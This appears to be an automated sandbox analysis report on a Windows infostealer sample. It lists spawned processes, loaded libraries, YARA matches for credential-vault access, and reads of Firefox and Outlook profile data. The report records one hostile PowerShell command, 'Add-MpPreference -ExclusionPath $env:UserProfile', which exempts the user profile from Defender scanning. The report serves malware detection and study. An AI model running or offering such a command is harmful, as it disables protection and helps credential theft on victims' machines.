Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_01229C00	5_2_01229C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_0122CFE8	5_2_0122CFE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_01223E80	5_2_01223E80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_012241C8	5_2_012241C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_061F56D8	5_2_061F56D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_061FDCF0	5_2_061FDCF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_061FBCE0	5_2_061FBCE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_061F9AC0	5_2_061F9AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_061F2AF8	5_2_061F2AF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_061F8B90	5_2_061F8B90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_061F0040	5_2_061F0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_061F4FF8	5_2_061F4FF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_061F3248	5_2_061F3248
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_01229BF8	5_2_01229BF8

Source: C:\Users\user\Desktop\4munRyMrBm.exe

Code function: String function: 00007FF7C5BBD7A0 appears 64 times

Source: 4munRyMrBm.exe	Binary or memory string: OriginalFilename vs 4munRyMrBm.exe
Source: 4munRyMrBm.exe, 00000000.00000000.2078881785.00007FF7C5D87000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameSetCurrentDirectoryGetBytes.dllX vs 4munRyMrBm.exe
Source: 4munRyMrBm.exe, 00000000.00000002.2097877620.000001CFBD400000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSetCurrentDirectoryGetBytes.dllX vs 4munRyMrBm.exe
Source: 4munRyMrBm.exe, 00000000.00000002.2097877620.000001CFBD400000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename464202a8-28ab-48ff-9bd0-c2ffd865bc06.exe4 vs 4munRyMrBm.exe
Source: 4munRyMrBm.exe	Binary or memory string: OriginalFilenameSetCurrentDirectoryGetBytes.dllX vs 4munRyMrBm.exe

Source: 0.2.4munRyMrBm.exe.1cfbda4abe0.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 5.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.4munRyMrBm.exe.1cfbdac0070.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.4munRyMrBm.exe.1cfbdac0070.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.4munRyMrBm.exe.1cfbda4abe0.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.4munRyMrBm.exe.1cfbd800058.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers

Source: 4munRyMrBm.exe

Static PE information: Section: .rsrc ZLIB complexity 0.9963456329281184

Source: 0.2.4munRyMrBm.exe.1cfbda4abe0.0.raw.unpack, 4JJG6X.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.4munRyMrBm.exe.1cfbda4abe0.0.raw.unpack, 4JJG6X.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.4munRyMrBm.exe.1cfbda4abe0.0.raw.unpack, 8C78isHTVco.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.4munRyMrBm.exe.1cfbda4abe0.0.raw.unpack, 8C78isHTVco.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.4munRyMrBm.exe.1cfbda4abe0.0.raw.unpack, 8C78isHTVco.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.4munRyMrBm.exe.1cfbda4abe0.0.raw.unpack, 8C78isHTVco.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.4munRyMrBm.exe.1cfbda4abe0.0.raw.unpack, CqSP68Ir.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.4munRyMrBm.exe.1cfbda4abe0.0.raw.unpack, CqSP68Ir.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@8/5@1/1

Source: C:\Users\user\Desktop\4munRyMrBm.exe

Code function: 0_2_00007FF7C5BC2B30 LookupPrivilegeValueW,GetCurrentProcess,OpenProcessToken,AdjustTokenPrivileges,GetLastError,CloseHandle,GetLargePageMinimum,VirtualAlloc,GetCurrentProcess,VirtualAllocExNuma,

0_2_00007FF7C5BC2B30

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:420:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5916:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3v3szqea.fmp.ps1

Jump to behavior

Source: 4munRyMrBm.exe

Static file information: TRID: Win64 Executable Console Net Framework (206006/5) 48.58%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\4munRyMrBm.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 4munRyMrBm.exe

ReversingLabs: Detection: 70%

Source: C:\Users\user\Desktop\4munRyMrBm.exe

File read: C:\Users\user\Desktop\4munRyMrBm.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\4munRyMrBm.exe "C:\Users\user\Desktop\4munRyMrBm.exe"
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath $env:UserProfile
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath $env:UserProfile	Jump to behavior
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"	Jump to behavior

Source: C:\Users\user\Desktop\4munRyMrBm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: 4munRyMrBm.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: 4munRyMrBm.exe

Static file information: File size 1919488 > 1048576

Source: 4munRyMrBm.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: 4munRyMrBm.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: 4munRyMrBm.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: 4munRyMrBm.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: 4munRyMrBm.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: 4munRyMrBm.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: 4munRyMrBm.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: 4munRyMrBm.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: 4munRyMrBm.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: 4munRyMrBm.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: 4munRyMrBm.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: 4munRyMrBm.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: 4munRyMrBm.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: 4munRyMrBm.exe	Static PE information: section name: .managed
Source: 4munRyMrBm.exe	Static PE information: section name: hydrated

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 5_2_01229B40 push esp; retf 0521h

5_2_01229BF1

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
